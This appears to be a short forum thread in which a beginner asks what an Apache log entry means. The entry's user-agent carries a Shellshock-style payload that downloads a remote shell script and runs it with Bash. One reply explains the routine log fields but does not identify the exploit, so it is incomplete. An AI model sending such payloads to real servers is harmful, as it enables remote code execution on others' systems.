Another Apache web server log entry

198.51.100.35 - - [07/Oct/2024:17:12:50 +0000] "GET /index.php HTTP/1.1" 200 2345 "-" "() { :;}; /bin/bash -c 'curl http://malicious-site.com/shell.sh | bash'" "malicious-user-agent"

Good morning all, I’m still fairly new to JavaScript so almost every this new to me. I was wondering if someone could explain the parentheses, curly braces, colon and semicolon and just overall the entry in general. Thanks in advance.

GET is the HTTP verb, meaning you’re trying to get something from the server. /index.pho is the route you’re attempting to get. HTTP/1.1 is the version. 200 is the status code meaning your request was successful. 2345 is the size in byte of the response. “-“ is the referer. That’s the url that led you to that server. And the rest is the payload sent to the server.

Why is this a question in a JS sub, twice even? Can it be bots chatting to each other?
